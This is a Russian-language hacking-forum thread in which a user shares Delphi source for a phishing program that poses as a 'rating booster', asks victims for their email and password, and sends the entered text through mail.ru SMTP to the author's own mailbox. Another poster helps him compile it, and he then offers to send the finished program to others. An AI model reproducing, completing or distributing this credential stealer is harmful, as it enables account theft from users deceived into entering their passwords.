Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование
http://ah.flybb.ru/

если тебе не лень
http://ah.flybb.ru/topic1341.html		 Страница 1 из 1
Автор:  ALKASH [ 28-11, 20:39 ]
Заголовок сообщения:  если тебе не лень
народ плз помогите с делфи.
кароче разузнал я как зделать прогу:вводиш в окошко текст и жмеш ок
дальше прога шлет текст з одного емейла на мой второй(типа виглядит так: ПОДНЯТИЕ РЕЙТИНГА тут введите свой емейл адрес
а тут пасс
штоб поднять рейтинг жми здесь )
ну зделал все,а как мне зделать ее в *.ехе или чота типа етого?штоб сразу запускалась как на ярлик жмеш?
помогите нубу javascript:emoticon(':cry:')
Автор:  BECHED [ 29-11, 14:40 ]
Заголовок сообщения: 
Ну ты даешь - скачай Delphi (среду разработки) и скомпилируй там программу!
Автор:  ALKASH [ 29-11, 19:34 ]
Заголовок сообщения: 
мне там ошибку видает:(
вот текст кода
unit parol;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdMessage, IdBaseComponent, IdComponent, IdUDPBase,
IdUDPClient, IdSNMP, IdTCPConnection, IdTCPClient, IdMessageClient,
IdSMTP, ComCtrls;

type
TForm1 = class(TForm)
IdMessage1: TIdMessage;
Edit1: TEdit;
Button1: TButton;
IdSMTP1: TIdSMTP;
StaticText1: TStaticText;
StaticText2: TStaticText;
StaticText3: TStaticText;
StaticText4: TStaticText;
StaticText5: TStaticText;
StaticText6: TStaticText;
StaticText7: TStaticText;
StaticText8: TStaticText;
StaticText9: TStaticText;
StaticText10: TStaticText;
StaticText11: TStaticText;
StaticText12: TStaticText;
StaticText13: TStaticText;
StaticText14: TStaticText;
StaticText15: TStaticText;
TrackBar1: TTrackBar;
Label1: TLabel;
Button2: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=2525;
IdSMTP1.Username:='з якого мейла слати@mail.ru';
IdSMTP1.Password:='пассворд до нього';
IdSMTP1.AuthenticationType:=atLogin;
with IdMessage1 do /\////\/\\\\\\\\\\\\\\\\\\а вот тут ошибку видает
begin
Body.Text:=Edit1.Text;
From.Text :='з якого мейла слати@mail.ru';
Recipients.EMailAddresses :='одержувач@mail.ru';
Subject :='тема письма';
end;
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
end;

end.
Автор:  BECHED [ 29-11, 19:59 ]
Заголовок сообщения: 
ALKASH
А какая конкретно ошибка (какой текст выдает) (мне лень проверять))..
Автор:  ALKASH [ 29-11, 20:59 ]
Заголовок сообщения: 
да все уже я сам нашол(я не ту штучку кинув на прогу,потім замінив і все ок)
если хотите протестить могу пргу на мейл кинути
Автор:  agressor55555 [ 25-01, 22:07 ]
Заголовок сообщения: 
вируси - это зло!
Страница 1 из 1 Часовой пояс: UTC + 3 часа
Powered by phpBB® Forum Software © phpBB Group
http://www.phpbb.com/